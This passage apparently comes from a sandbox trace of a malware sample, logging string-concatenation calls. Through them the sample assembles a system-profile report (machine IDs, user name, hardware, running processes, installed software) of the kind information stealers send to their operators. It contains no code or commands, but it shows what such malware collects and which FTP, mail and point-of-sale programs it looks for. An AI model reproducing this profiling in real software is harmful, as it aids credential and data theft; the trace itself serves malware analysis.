(English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 ["
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001"
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 